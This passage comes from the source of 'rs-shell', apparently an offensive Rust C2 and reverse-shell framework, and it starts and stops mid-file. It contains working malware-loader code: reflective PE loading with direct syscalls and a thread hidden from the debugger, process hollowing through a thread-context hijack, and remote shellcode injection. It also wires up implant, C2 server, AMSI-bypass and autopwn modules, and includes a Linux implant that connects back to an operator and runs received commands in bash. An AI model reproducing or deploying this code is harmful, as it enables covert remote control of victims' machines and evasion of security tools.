&mut base, 0, &mut img_s, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE ); if !NT_SUCCESS(status) { log::debug!("Error allocating memory: {:x}", status); return Err(status.to_string().into()); } //Retrieve the DOS magic header and the elfa new (address of the begining of the PE after the DOS header) status = syscall!( "NtWriteVirtualMemory", GetCurrentProcess(), base, buf.as_ptr() as *mut c_void, header_s, NULL ); if !NT_SUCCESS(status) { log::debug!("Error writing PE headers into memory: {:x}", status); return Err(status.to_string().into()); } let mut dos_head = IMAGE_DOS_HEADER::default(); fill_structure_from_array(&mut dos_head, &buf, true); log::debug!("DOS magic header : {:x?}", dos_head.e_magic); log::debug!( "Elfa new (address of the begining of the PE): {:x?}", dos_head.e_lfanew ); //Retrieve the NT headers starting at the elfa new address let mut nt_head = IMAGE_nt_headS64::default(); fill_structure_from_memory( &mut nt_head, (base as isize + dos_head.e_lfanew as isize) as *const c_void, GetCurrentProcess(), true, ); log::debug!("NT headers : {:#x?}", nt_head); //Retrieve the sections (following the NT headers), their sizes, and map their contents from disk into memory let mut sections: Vec = vec![IMAGE_SECTION_HEADER::default(); nt_head.FileHeader.NumberOfSections as usize]; for i in 0..sections.len() { fill_structure_from_memory( &mut sections[i], (base as usize + dos_head.e_lfanew as usize + std::mem::size_of_val(&nt_head) as usize + (i * std::mem::size_of::() as usize)) as *const c_void, GetCurrentProcess(), true, ); log::debug!( "Virtual addresses of sections {} is {:#x?}", string_from_array(&mut sections[i].Name.to_vec()), sections[i].VirtualAddress ); //Retrieve the content of one section (a buffer starting at the RawAddr to RawAddr + RawSize) //Write it into memory at the addr base+VA let tmp: Vec = buf[sections[i].PointerToRawData as usize ..(sections[i].PointerToRawData as usize + sections[i].SizeOfRawData as usize)] .to_vec(); status = syscall!( "NtWriteVirtualMemory", GetCurrentProcess(), (base as usize + sections[i].VirtualAddress as usize) as *mut c_void, tmp.as_ptr() as *mut c_void, tmp.len(), NULL ); if !NT_SUCCESS(status) { log::debug!("Error writing section content into memory: {:x}", status); return Err(status.to_string().into()); } } //Retrieve the imports and fix them log::debug!("{:?}", nt_head.OptionalHeader); if nt_head.OptionalHeader.ImportTable.Size > 0 { //Data addr before loading in memory let mut origin_first_thunk = base as usize + nt_head.OptionalHeader.ImportTable.VirtualAddress as usize; loop { //Data structure of the imported DLL let mut image_descriptor = IMAGE_IMPORT_DESCRIPTOR::default(); fill_structure_from_memory( &mut image_descriptor, origin_first_thunk as *const c_void, GetCurrentProcess(), true, ); if image_descriptor.Name == 0 && image_descriptor.FirstThunk == 0 { log::debug!("No more import"); break; } else { //Retrieve the DLL name and load it by retrieving the name at this address pointed by Name let import_name = read_from_memory( (base as usize + image_descriptor.Name as usize) as *const c_void, GetCurrentProcess(), true, ); let load_dll = LoadLibraryA(import_name.as_bytes().as_ptr() as *const u8); log::debug!("Import DLL name : {}", import_name); //Get pointer of the first thunk of data containing the data of the first imported function let mut thunk_ptr = base as usize + image_descriptor.Characteristics_or_OriginalFirstThunk as usize; let mut i = 0; //Parse each thunk one by one to retrieve all the imported functions loop { let mut thunk_data = MY_IMAGE_THUNK_DATA64::default(); fill_structure_from_memory( &mut thunk_data, (thunk_ptr as usize) as *const c_void, GetCurrentProcess(), true, ); log::debug!("{:?}", thunk_data); if thunk_data.Address == [0; 8] && u64::from_ne_bytes(thunk_data.Address.try_into().unwrap()) < 0x8000000000000000 { log::debug!("No more data"); break; } else { //For each function, retrieve its name and its addr in memory let offset = u64::from_ne_bytes(thunk_data.Address.try_into().unwrap()); let function_name = read_from_memory( (base as usize + offset as usize + 2) as *const c_void, GetCurrentProcess(), true, ); log::debug!("Function : {}", function_name); let function_addr = i64::to_ne_bytes( GetProcAddress( load_dll, function_name.as_bytes().as_ptr() as *const u8, ) .unwrap() as i64, ); //Write the function and its data in memory at its addr status = syscall!( "NtWriteVirtualMemory", GetCurrentProcess(), ((base as usize + image_descriptor.FirstThunk as usize) + i * 8) as *mut c_void, function_addr.as_ptr() as *mut c_void, function_addr.len(), NULL ); if !NT_SUCCESS(status) { log::debug!( "Error writing functions' data into memory: {:x}", status ); return Err(status.to_string().into()); } i += 1; thunk_ptr += 8; } } origin_first_thunk += std::mem::size_of::(); } } } //Fix base relocations in case of hardcoded values if nt_head.OptionalHeader.BaseRelocationTable.Size > 0 { //Calculate the delta and retrieve the first relocation ptr let delta = base as usize - nt_head.OptionalHeader.ImageBase as usize; let mut first_reloc_ptr = base as usize + nt_head.OptionalHeader.BaseRelocationTable.VirtualAddress as usize; loop { //Fill the relocation structure from the struct at the ptr (retrieve relocation RVA and block size) let mut reloc = MY_IMAGE_BASE_RELOCATION::default(); fill_structure_from_memory( &mut reloc, first_reloc_ptr as *const c_void, GetCurrentProcess(), true, ); if reloc.SizeofBlock == 0 { log::debug!("No more relocation"); break; } else { log::debug!("Size of block : {:x?}", reloc.SizeofBlock); log::debug!("Virtual addr : {:x?}", reloc.VirtualAddress); //For each entries, retrieve the offset from the page addr and the hardcoded values at the relocation RVA let entries = (reloc.SizeofBlock - 8) / 2; log::debug!("Entries : {:x?}", entries); for i in 0..entries { let mut offset_from_page: [u8; 2] = [0; 2]; status = syscall!( "NtReadVirtualMemory", GetCurrentProcess(), (first_reloc_ptr + 8 + (i * 2) as usize) as *mut c_void, offset_from_page.as_mut_ptr() as *mut c_void, offset_from_page.len(), NULL ); if !NT_SUCCESS(status) { log::debug!("Error retrieving offset from the page addr: {:x}", status); return Err(status.to_string().into()); } log::debug!("Offset : {:x?}", offset_from_page); let temp = u16::from_ne_bytes(offset_from_page.try_into().unwrap()); //println!("{:x?}",temp&0x0fff); if (temp >> 12) == 0xA { //Calculate relocation RVA of each entries with the base addr + relocation RVA of the first block + offset // 1&0=0 0&0=0 let block_reloc_rva = base as usize + reloc.VirtualAddress as usize + (temp & 0x0fff) as usize; //Read the hardcoded values at the entry addr and translate to obtain the fixed addr let mut harcoded_value: [u8; 8] = [0; 8]; status = syscall!( "NtReadVirtualMemory", GetCurrentProcess(), block_reloc_rva as *mut c_void, harcoded_value.as_mut_ptr() as *mut c_void, harcoded_value.len(), NULL ); if !NT_SUCCESS(status) { log::debug!("Error reading hardcoded values: {:x}", status); return Err(status.to_string().into()); } log::debug!("Harcoded value at RVA : {:x?}", harcoded_value); let fixe_addr = isize::from_ne_bytes(harcoded_value.try_into().unwrap()) + delta as isize; log::debug!("{:x?}", fixe_addr); //Write into memory let fixed_addr_bytes = fixe_addr.to_ne_bytes(); status = syscall!( "NtWriteVirtualMemory", GetCurrentProcess(), block_reloc_rva as *mut c_void, fixed_addr_bytes.as_ptr() as *mut c_void, 8, NULL ); if !NT_SUCCESS(status) { log::debug!( "Error writing hardcoded values into memory: {:x}", status ); return Err(status.to_string().into()); } } } } first_reloc_ptr += reloc.SizeofBlock as usize; } } //Change the Read/Write memory access to Read/Write/Execute let mut old_perms = PAGE_READWRITE; status = syscall!( "NtProtectVirtualMemory", GetCurrentProcess(), &mut base, &mut img_s, PAGE_EXECUTE_READWRITE, &mut old_perms ); if !NT_SUCCESS(status) { log::debug!("Error changing memory permissions: {:x}", status); return Err(status.to_string().into()); } let mut thread_handle: HANDLE = NULL; status = syscall!( "NtCreateThreadEx", &mut thread_handle, THREAD_ALL_ACCESS, NULL, GetCurrentProcess(), (base as usize + nt_head.OptionalHeader.AddressOfEntryPoint as usize) as *mut c_void, NULL, THREAD_CREATE_FLAGS_HIDE_FROM_DEBUGGER, 0 as usize, 0 as usize, 0 as usize, NULL ); if !NT_SUCCESS(status) { log::debug!("Error creating thread: {:x}", status); return Err(status.to_string().into()); } status = syscall!( "NtWaitForSingleObject", thread_handle, 0, NULL as *mut _ as *mut LARGE_INTEGER ); if !NT_SUCCESS(status) { log::debug!("Error waiting for execution: {:x}", status); return Err(status.to_string().into()); } VirtualFree(base, 0, 0x00008000); } Ok(()) } fn get_destination_base_addr(prochandle: *mut c_void) -> usize { unsafe { let mut process_information: PROCESS_BASIC_INFORMATION = std::mem::zeroed(); let process_information_class = PROCESSINFOCLASS::default(); syscall!( "NtQueryInformationProcess", prochandle, process_information_class, &mut process_information as *mut _ as *mut c_void, std::mem::size_of::() as u32, NULL ); let peb_image_offset = process_information.PebBaseAddress as u64 + 0x10; let mut image_base_buffer = [0; std::mem::size_of::<&u8>()]; syscall!( "NtReadVirtualMemory", prochandle, peb_image_offset as *const c_void, image_base_buffer.as_mut_ptr() as *mut c_void, image_base_buffer.len(), NULL ); log::debug!( "Image Base Addr : {:x?}", usize::from_ne_bytes(image_base_buffer) ); return usize::from_ne_bytes(image_base_buffer); } } pub fn remote_loader_syscalls(buf: Vec, pe_to_execute: &str) -> Result<(), Box> { //Retrieve the sizes of the headers and the PE image in memory let header_s = get_size(&buf, "header"); let mut img_s = get_size(&buf, "image"); if header_s == 0 || img_s == 0 { return Err("Error retrieving PE sizes".into()); } let mut status: NTSTATUS; let mut prochandle: HANDLE = NULL; let mut threadhandle: HANDLE = NULL; unsafe { let mut full_path = "\\??\\".to_owned() + pe_to_execute; full_path = full_path.trim().to_owned() + "\0"; let mut nt_image_path: UNICODE_STRING = UNICODE_STRING::default(); // Image path in NT format // https://stackoverflow.com/questions/76211265/pdhaddcounterw-no-rules-expected-this-token-in-macro-call let source_string = full_path.encode_utf16().chain(once(0)).collect::>(); RtlInitUnicodeString(&mut nt_image_path, source_string.as_ptr() as *const u16); // Process parameters building let mut process_parameters: PRTL_USER_PROCESS_PARAMETERS = std::mem::zeroed(); status = RtlCreateProcessParametersEx( &mut process_parameters, &mut nt_image_path, std::ptr::null_mut(), std::ptr::null_mut(), std::ptr::null_mut(), std::ptr::null_mut(), std::ptr::null_mut(), std::ptr::null_mut(), std::ptr::null_mut(), std::ptr::null_mut(), RTL_USER_PROC_PARAMS_NORMALIZED, ); if !NT_SUCCESS(status) { log::debug!("Error creating process parameters: {:x}", status); return Err(status.to_string().into()); } // PS_CREATE_INFO structure building let mut create_info = PS_CREATE_INFO::default(); create_info.Size = std::mem::size_of::(); create_info.State = PsCreateInitialState; // Process and thread attributs building let attribute_list: PPS_ATTRIBUTE_LIST = RtlAllocateHeap( RtlProcessHeap(), HEAP_ZERO_MEMORY, std::mem::size_of::(), ) as PPS_ATTRIBUTE_LIST; attribute_list.as_mut().unwrap().TotalLength = std::mem::size_of::(); attribute_list.as_mut().unwrap().Attributes[0].Attribute = PS_ATTRIBUTE_IMAGE_NAME; attribute_list.as_mut().unwrap().Attributes[0].Size = nt_image_path.Length as usize; attribute_list.as_mut().unwrap().Attributes[0].u.Value = nt_image_path.Buffer as usize; // New process startup status = syscall!( "NtCreateUserProcess", &mut prochandle, &mut threadhandle, PROCESS_ALL_ACCESS, THREAD_ALL_ACCESS, NULL as *mut OBJECT_ATTRIBUTES, NULL as *mut OBJECT_ATTRIBUTES, 0 as c_ulong, THREAD_CREATE_FLAGS_CREATE_SUSPENDED as c_ulong, process_parameters as *mut c_void, &mut create_info, attribute_list ); if !NT_SUCCESS(status) { log::debug!("Error creating process: {:x}", status); return Err(status.to_string().into()); } RtlFreeHeap(RtlProcessHeap(), 0, attribute_list as *mut c_void); RtlDestroyProcessParameters(process_parameters); let mut remote_base = get_destination_base_addr(prochandle) as *mut c_void; //Set the memory access to Read/Write for the moment to avoid suspicious rwx let mut base = NULL; status = syscall!( "NtAllocateVirtualMemory", GetCurrentProcess(), &mut base, 0, &mut img_s, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE ); if !NT_SUCCESS(status) { log::debug!( "Error allocating memory for the current process: {:x}", status ); } status = syscall!("NtUnmapViewOfSection", prochandle, remote_base); if !NT_SUCCESS(status) { log::debug!("Error calling NtUnmapViewOfSection: {:x}", status); } status = syscall!( "NtAllocateVirtualMemory", prochandle, &mut remote_base, 0, &mut img_s, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE ); if !NT_SUCCESS(status) { log::debug!( "Error allocating memory for the remote process: {:x}", status ); } //Retrieve the DOS magic header and the elfa new (address of the begining of the PE after the DOS header) status = syscall!( "NtWriteVirtualMemory", prochandle, remote_base, buf.as_ptr() as *mut c_void, header_s, NULL ); if !NT_SUCCESS(status) { log::debug!("Error writing PE headers into memory: {:x}", status); } //Parsing locally std::ptr::copy(buf.as_ptr() as *const u8, base as *mut u8, header_s); let mut dos_head = IMAGE_DOS_HEADER::default(); fill_structure_from_memory(&mut dos_head, base, GetCurrentProcess(), false); log::debug!("DOS magic header : {:x?}", dos_head.e_magic); log::debug!( "Elfa new (address of the begining of the PE): {:x?}", dos_head.e_lfanew ); //Retrieve the NT headers starting at the elfa new address let mut nt_head: IMAGE_nt_headS64 = IMAGE_nt_headS64::default(); fill_structure_from_memory( &mut nt_head, (base as isize + dos_head.e_lfanew as isize) as *const c_void, GetCurrentProcess(), false, ); log::debug!("NT headers : {:#x?}", nt_head); //Retrieve the sections (following the NT headers), their sizes, and map their contents from disk into memory let mut sections: Vec = vec![IMAGE_SECTION_HEADER::default(); nt_head.FileHeader.NumberOfSections as usize]; for i in 0..sections.len() { fill_structure_from_memory( &mut sections[i], (base as usize + dos_head.e_lfanew as usize + std::mem::size_of_val(&nt_head) as usize + (i * std::mem::size_of::() as usize)) as *const c_void, GetCurrentProcess(), false, ); log::debug!( "Virtual addresses of sections {} is {:#x?}", string_from_array(&mut sections[i].Name.to_vec()), sections[i].VirtualAddress ); //Retrieve the content of one section (a buffer starting at the RawAddr to RawAddr + RawSize) //Write it into memory at the addr base+VA let tmp: Vec = buf[sections[i].PointerToRawData as usize ..(sections[i].PointerToRawData as usize + sections[i].SizeOfRawData as usize)] .to_vec(); status = syscall!( "NtWriteVirtualMemory", GetCurrentProcess(), (base as usize + sections[i].VirtualAddress as usize) as *mut c_void, tmp.as_ptr() as *mut c_void, sections[i].SizeOfRawData as usize, NULL ); if !NT_SUCCESS(status) { log::debug!( "Error writing section content into memory of current process: {:x}", status ); } status = syscall!( "NtWriteVirtualMemory", prochandle, (remote_base as usize + sections[i].VirtualAddress as usize) as *mut c_void, tmp.as_ptr() as *mut c_void, sections[i].SizeOfRawData as usize, NULL ); if !NT_SUCCESS(status) { log::debug!( "Error writing section content into memory of remote process: {:x}", status ); } } //Retrieve the imports and fix them log::debug!("{:?}", nt_head.OptionalHeader); if nt_head.OptionalHeader.ImportTable.Size > 0 { //Data addr before loading in memory let mut origin_first_thunk = base as usize + nt_head.OptionalHeader.ImportTable.VirtualAddress as usize; loop { //Data structure of the imported DLL let mut image_descriptor = IMAGE_IMPORT_DESCRIPTOR::default(); fill_structure_from_memory( &mut image_descriptor, origin_first_thunk as *const c_void, GetCurrentProcess(), false, ); if image_descriptor.Name == 0 && image_descriptor.FirstThunk == 0 { log::debug!("No more import"); break; } else { //Retrieve the DLL name and load it by retrieving the name at this address pointed by Name let import_name = read_from_memory( (base as usize + image_descriptor.Name as usize) as *const c_void, GetCurrentProcess(), false, ); let load_dll = LoadLibraryA(import_name.as_bytes().as_ptr() as *const u8); log::debug!("Import DLL name : {}", import_name); //Get pointer of the first thunk of data containing the data of the first imported function let mut thunk_ptr = base as usize + image_descriptor.Characteristics_or_OriginalFirstThunk as usize; let mut i = 0; //Parse each thunk one by one to retrieve all the imported functions loop { let mut thunk_data = MY_IMAGE_THUNK_DATA64::default(); fill_structure_from_memory( &mut thunk_data, (thunk_ptr as usize) as *const c_void, GetCurrentProcess(), false, ); log::debug!("{:x?}", thunk_data); if thunk_data.Address == [0; 8] && u64::from_ne_bytes(thunk_data.Address.try_into().unwrap()) < 0x8000000000000000 { log::debug!("No more data"); break; } else { //For each function, retrieve its name and its addr in memory let offset = u64::from_ne_bytes(thunk_data.Address.try_into().unwrap()); let function_name = read_from_memory( (base as usize + offset as usize + 2) as *const c_void, GetCurrentProcess(), false, ); log::debug!("Function : {}", function_name); let function_addr = i64::to_ne_bytes( GetProcAddress( load_dll, function_name.as_bytes().as_ptr() as *const u8, ) .unwrap() as i64, ); //Write the function and its data in memory at its addr status = syscall!( "NtWriteVirtualMemory", GetCurrentProcess(), ((base as usize + image_descriptor.FirstThunk as usize) + i * 8) as *mut c_void, function_addr.as_ptr() as *const c_void, function_addr.len(), NULL ); if !NT_SUCCESS(status) { log::debug!( "Error writing functions' data into memory of current process: {:x}", status ); } status = syscall!( "NtWriteVirtualMemory", prochandle, ((remote_base as usize + image_descriptor.FirstThunk as usize) + i * 8) as *mut c_void, function_addr.as_ptr() as *const c_void, function_addr.len(), NULL ); if !NT_SUCCESS(status) { log::debug!( "Error writing functions' data into memory of remote process: {:x}", status ); } i += 1; thunk_ptr += 8; } } origin_first_thunk += std::mem::size_of::(); } } } //Fix base relocations in case of hardcoded values if nt_head.OptionalHeader.BaseRelocationTable.Size > 0 { //Calculate the delta and retrieve the first relocation ptr let delta = base as usize - nt_head.OptionalHeader.ImageBase as usize; let mut first_reloc_ptr = base as usize + nt_head.OptionalHeader.BaseRelocationTable.VirtualAddress as usize; loop { //Fill the relocation structure from the struct at the ptr (retrieve relocation RVA and block size) let mut reloc = MY_IMAGE_BASE_RELOCATION::default(); fill_structure_from_memory( &mut reloc, first_reloc_ptr as *const c_void, GetCurrentProcess(), false, ); if reloc.SizeofBlock == 0 { log::debug!("No more relocation"); break; } else { log::debug!("Size of block : {:x?}", reloc.SizeofBlock); log::debug!("Virtual addr : {:x?}", reloc.VirtualAddress); //For each entries, retrieve the offset from the page addr and the hardcoded values at the relocation RVA let entries = (reloc.SizeofBlock - 8) / 2; log::debug!("Entries : {:x?}", entries); for i in 0..entries { let mut offset_from_page: [u8; 2] = [0; 2]; status = syscall!( "NtReadVirtualMemory", GetCurrentProcess(), (first_reloc_ptr + 8 + (i * 2) as usize) as *mut c_void, offset_from_page.as_mut_ptr() as *mut c_void, offset_from_page.len(), NULL ); if !NT_SUCCESS(status) { log::debug!("Error retrieving offset from the page addr: {:x}", status); } log::debug!("Offset : {:x?}", offset_from_page); let temp = u16::from_ne_bytes(offset_from_page.try_into().unwrap()); //println!("{:x?}", temp & 0x0fff); if (temp >> 12) == 0xA { //Calculate relocation RVA of each entries with the base addr + relocation RVA of the first block + offset // 1&0=0 0&0=0 let block_reloc_rva = base as usize + reloc.VirtualAddress as usize + (temp & 0x0fff) as usize; //Read the hardcoded values at the entry addr and translate to obtain the fixed addr let mut harcoded_value: [u8; 8] = [0; 8]; status = syscall!( "NtReadVirtualMemory", GetCurrentProcess(), block_reloc_rva as *const c_void, harcoded_value.as_mut_ptr() as *mut c_void, harcoded_value.len(), NULL ); if !NT_SUCCESS(status) { log::debug!("Error reading hardcoded values: {:x}", status); } log::debug!("Harcoded value at RVA : {:x?}", harcoded_value); let fixe_addr = isize::from_ne_bytes(harcoded_value.try_into().unwrap()) + delta as isize; log::debug!("{:x?}", fixe_addr); //Write into memory let fixed_addr_bytes = fixe_addr.to_ne_bytes(); status = syscall!( "NtWriteVirtualMemory", prochandle, block_reloc_rva as *mut c_void, fixed_addr_bytes.as_ptr() as *mut c_void, 8, NULL ); if !NT_SUCCESS(status) { log::debug!( "Error writing hardcoded values into memory: {:x}", status ); } } } } first_reloc_ptr += reloc.SizeofBlock as usize; } } //Change the Read/Write memory access to Write/Execute let mut old_perms = PAGE_READWRITE; status = syscall!( "NtProtectVirtualMemory", prochandle, &mut remote_base, &mut img_s, PAGE_EXECUTE_READWRITE, &mut old_perms ); if !NT_SUCCESS(status) { log::debug!("Error changing memory permissions: {:x}", status); } let mut ctx = std::mem::zeroed::(); ctx.ContextFlags = CONTEXT_INTEGER; status = syscall!("NtGetContextThread", threadhandle, &mut ctx); if !NT_SUCCESS(status) { log::debug!("Error getting thread context: {:x}", status); } ctx.Rcx = remote_base as u64 + nt_head.OptionalHeader.AddressOfEntryPoint as u64; status = syscall!("NtSetContextThread", threadhandle, &mut ctx); if !NT_SUCCESS(status) { log::debug!("Error setting thread context: {:x}", status); } VirtualFree(base, 0, 0x00004000); status = syscall!("NtResumeThread", threadhandle, NULL); if !NT_SUCCESS(status) { log::debug!("Error resuming thread: {:x}", status); } CloseHandle(prochandle); } Ok(()) } pub fn shellcode_loader_syscalls( mut shellcode: Vec, pe_to_execute: &str, ) -> Result<(), Box> { let mut full_path = "\\??\\".to_owned() + pe_to_execute; full_path = full_path.trim().to_owned() + "\0"; let mut status: NTSTATUS; let mut process_handle: HANDLE = NULL; let mut thread_handle: HANDLE = NULL; unsafe { let mut nt_image_path: UNICODE_STRING = UNICODE_STRING::default(); // Image path in NT format // https://stackoverflow.com/questions/76211265/pdhaddcounterw-no-rules-expected-this-token-in-macro-call let source_string = full_path.encode_utf16().chain(once(0)).collect::>(); RtlInitUnicodeString(&mut nt_image_path, source_string.as_ptr() as *const u16); // Process parameters building let mut process_parameters: PRTL_USER_PROCESS_PARAMETERS = std::mem::zeroed(); status = RtlCreateProcessParametersEx( &mut process_parameters, &mut nt_image_path, std::ptr::null_mut(), std::ptr::null_mut(), std::ptr::null_mut(), std::ptr::null_mut(), std::ptr::null_mut(), std::ptr::null_mut(), std::ptr::null_mut(), std::ptr::null_mut(), RTL_USER_PROC_PARAMS_NORMALIZED, ); if !NT_SUCCESS(status) { log::debug!("Error creating process parameters : {:x}", status); return Err(status.to_string().into()); } // PS_CREATE_INFO structure building let mut create_info = PS_CREATE_INFO::default(); create_info.Size = std::mem::size_of::(); create_info.State = PsCreateInitialState; // Process and thread attributs building let attribute_list: PPS_ATTRIBUTE_LIST = RtlAllocateHeap( RtlProcessHeap(), HEAP_ZERO_MEMORY, std::mem::size_of::(), ) as PPS_ATTRIBUTE_LIST; attribute_list.as_mut().unwrap().TotalLength = std::mem::size_of::(); attribute_list.as_mut().unwrap().Attributes[0].Attribute = PS_ATTRIBUTE_IMAGE_NAME; attribute_list.as_mut().unwrap().Attributes[0].Size = nt_image_path.Length as usize; attribute_list.as_mut().unwrap().Attributes[0].u.Value = nt_image_path.Buffer as usize; // New process startup status = syscall!( "NtCreateUserProcess", &mut process_handle, &mut thread_handle, PROCESS_ALL_ACCESS, THREAD_ALL_ACCESS, NULL as *mut OBJECT_ATTRIBUTES, NULL as *mut OBJECT_ATTRIBUTES, 0 as c_ulong, 0 as c_ulong, process_parameters as *mut c_void, &mut create_info, attribute_list ); if !NT_SUCCESS(status) { log::debug!("Error creating process : {:x}", status); return Err(status.to_string().into()); } RtlFreeHeap(RtlProcessHeap(), 0, attribute_list as *mut c_void); RtlDestroyProcessParameters(process_parameters); } let mut base_addr = NULL; unsafe { status = syscall!( "NtAllocateVirtualMemory", process_handle, &mut base_addr, 0, &mut shellcode.len(), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE ); } if !NT_SUCCESS(status) { log::debug!( "Error allocating memory in the target process: {:x}", status ); return Err(status.to_string().into()); } unsafe { status = syscall!( "NtWriteVirtualMemory", process_handle, base_addr, shellcode.as_mut_ptr() as *mut c_void, shellcode.len(), NULL ); } if !NT_SUCCESS(status) { log::debug!("Error writing in the target process memory: {:x}", status); return Err(status.to_string().into()); } unsafe { let mut old_perms = PAGE_READWRITE; status = syscall!( "NtProtectVirtualMemory", process_handle, &mut base_addr, &mut shellcode.len(), PAGE_EXECUTE_READ, &mut old_perms ); } if !NT_SUCCESS(status) { log::debug!("Error changing memory permission: {:x}", status); return Err(status.to_string().into()); } shellcode.clear(); shellcode.shrink_to_fit(); let mut thread_handle: HANDLE = NULL; unsafe { status = syscall!( "NtCreateThreadEx", &mut thread_handle, THREAD_ALL_ACCESS, NULL, process_handle, base_addr, NULL, THREAD_CREATE_FLAGS_HIDE_FROM_DEBUGGER, 0 as usize, 0 as usize, 0 as usize, NULL ); } if !NT_SUCCESS(status) { log::debug!("Error starting remote thread: {:x}", status); return Err(status.to_string().into()); } unsafe { status = syscall!( "NtWaitForSingleObject", thread_handle, 0, NULL as *mut _ as *mut LARGE_INTEGER ); if !NT_SUCCESS(status) { log::debug!("Error waiting for execution: {:x}", status); return Err(status.to_string().into()); } } unsafe { status = syscall!("NtClose", process_handle); } if !NT_SUCCESS(status) { log::debug!("Closing failed: {}", status); return Err(status.to_string().into()); } Ok(()) } ================================================ FILE: src/main.rs ================================================ mod utils { pub mod structures; pub mod tools; pub mod tools_windows; } mod tcp { #[cfg_attr(target_family = "unix", path = "tcp_linux_client.rs")] #[cfg_attr(target_family = "windows", path = "tcp_windows_client.rs")] pub mod client; pub mod tcp_server; } mod https { #[cfg_attr(target_family = "unix", path = "https_linux_implant.rs")] #[cfg_attr(target_family = "windows", path = "https_windows_implant.rs")] pub mod https_implant; pub mod https_operator; pub mod https_server; pub mod routes; } mod amsi_bypass; mod autopwn; mod loader; mod loader_syscalls; use crate::https::https_implant::implant; use crate::https::https_operator::operator as https_operator; use crate::https::https_server::server as https_server; use crate::tcp::client::client; use crate::tcp::tcp_server::server as tcp_server; use clap::{Arg, Command}; use log::LevelFilter; use simple_logger::SimpleLogger; use std::error::Error; #[cfg(target_family = "windows")] use syscalls::syscall; fn main() -> Result<(), Box> { SimpleLogger::new() .without_timestamps() .with_colors(true) .init() .unwrap(); ::log::set_max_level(LevelFilter::Info); let args = Command::new("rs-shell") .author("BlackWasp") .version("0.2.5") .after_help("In a session, type 'help' for advanced integrated commands") .arg( Arg::new("mode") .short('m') .long("mode") .required(true) .value_parser([ clap::builder::PossibleValue::new("tcp"), clap::builder::PossibleValue::new("https"), ]) .help("communication protocol. TCP will open a simple TLS tunnel between an implant and a listener (like a classic reverse shell). HTTPS will use an HTTPS server, an HTTPS implant on the target, and a client to interact with the implant through the server (similar to a C2 infrastructure)"), ) .arg( Arg::new("side") .short('s') .long("side") .required(true) .value_parser([ clap::builder::PossibleValue::new("i"), clap::builder::PossibleValue::new("c"), clap::builder::PossibleValue::new("l"), ]) .help("launch the implant (i), the client (c) (only for HTTPS), or the listener (l)"), ) .arg( Arg::new("ip") .short('i') .long("ip") .required(true) .help("IP address to bind to for the TCP listener or the HTTP server, or to connect to for the clients and implants"), ) .arg( Arg::new("port") .short('p') .long("port") .required_if_eq("mode", "tcp") .help("port address to bind to for the TCP listener, or to connect to for the implant"), ) .arg( Arg::new("cert_path") .long("cert-path") .required_if_eq("side", "l") .help("path of the TLS certificate for the server. In PFX or PKCS12 format for TCP, in PEM format for HTTPS"), ) .arg( Arg::new("cert_pass") .long("cert-pass") .required_if_eq_all([ ("mode", "tcp"), ("side", "l") ]) .help("password of the TLS PKCS12 certificate for the TCP server"), ) .arg( Arg::new("key_path") .long("key-path") .required_if_eq_all([ ("mode", "https"), ("side", "l") ]) .help("path of the TLS key for the HTTPS server"), ) .get_matches(); if args.get_one::("mode").unwrap() == "tcp" && args.get_one::("side").unwrap() == "l" { match tcp_server( args.get_one::("ip").unwrap().as_str(), args.get_one::("port") .unwrap() .parse::() .unwrap(), args.get_one::("cert_path").unwrap().as_str(), args.get_one::("cert_pass").unwrap().as_str(), ) { Ok(_) => (), Err(r) => { log::error!("Error starting the server : {}", r); return Err(r); } } } else if args.get_one::("mode").unwrap() == "tcp" && args.get_one::("side").unwrap() == "i" { match client( args.get_one::("ip").unwrap().as_str(), args.get_one::("port").unwrap().as_str(), ) { Ok(_) => (), Err(r) => { log::debug!( "Error during client execution : {}. Attempt to restart it", r ); match client( args.get_one::("ip").unwrap().as_str(), args.get_one::("port").unwrap().as_str(), ) { Ok(_) => (), Err(r) => { log::debug!("Error still present : {}", r); return Err(r); } } } } } else if args.get_one::("mode").unwrap() == "https" && args.get_one::("side").unwrap() == "l" { match https_server( args.get_one::("ip").unwrap().as_str(), args.get_one::("cert_path").unwrap().as_str(), args.get_one::("key_path").unwrap().as_str(), ) { Ok(_) => (), Err(r) => { log::error!("Error starting the server : {}", r); return Err(Box::new(r)); } } } else if args.get_one::("mode").unwrap() == "https" && args.get_one::("side").unwrap() == "c" { match https_operator(args.get_one::("ip").unwrap().as_str()) { Ok(_) => (), Err(r) => { log::error!("Error starting the client : {}", r); return Err(r); } } } else if args.get_one::("mode").unwrap() == "https" && args.get_one::("side").unwrap() == "i" { match implant(args.get_one::("ip").unwrap().as_str()) { Ok(_) => (), Err(r) => { log::error!("Error starting the implant : {}. Attempt to restart it", r); match implant(args.get_one::("ip").unwrap().as_str()) { Ok(_) => (), Err(r) => { log::debug!("Error still present : {}", r); return Err(r); } } } } } Ok(()) } ================================================ FILE: src/tcp/tcp_linux_client.rs ================================================ use crate::utils::tools::receive_and_write_bytes; use std::error::Error; use std::fs::File; use std::io::{Read, Write}; use std::process::{exit, Command}; use native_tls::TlsConnector; use std::net::TcpStream; fn do_stuff(cmd: &str) -> Vec { let exec = Command::new("/bin/bash") .args(["-c", cmd.trim_end_matches("\r\n")]) .output() .unwrap(); let stdo = exec.stdout.as_slice(); let _stdr = exec.stderr.as_slice(); if _stdr.is_empty() { stdo.to_vec() } else { _stdr.to_vec() } } pub fn client(i: &str, p: &str) -> Result<(), Box> { // Connection to server and TLS setup let clt = TcpStream::connect(i.to_owned() + ":" + p)?; log::debug!( "[+] TCP connection success to the listener at {}", clt.peer_addr()? ); let mut connector_builder = TlsConnector::builder(); connector_builder.danger_accept_invalid_certs(true); connector_builder.danger_accept_invalid_hostnames(true); let connector = connector_builder.build()?; let stream = connector.connect("dummy", clt); let mut tls_stream = match stream { Ok(s) => s, Err(r) => { log::debug!("TLS handshake error : {}", r); exit(6); } }; let os = std::env::consts::FAMILY; tls_stream.write_all(os.as_bytes())?; // Cmd execution loop loop { // Read input from server let mut buff = [0; 4096]; let read = tls_stream.read(&mut buff[0..]); let bytes_read = match read { Ok(b) => b, Err(r) => { log::debug!("Reading error : {}", r); continue; } }; // Check to quit if String::from_utf8_lossy(&buff) .trim_end_matches('\0') .trim_end() == "quit" || String::from_utf8_lossy(&buff) .trim_end_matches('\0') .trim_end() == "exit" { log::debug!("Quit"); break; } // Check for download/upload commands if String::from_utf8_lossy(&buff) 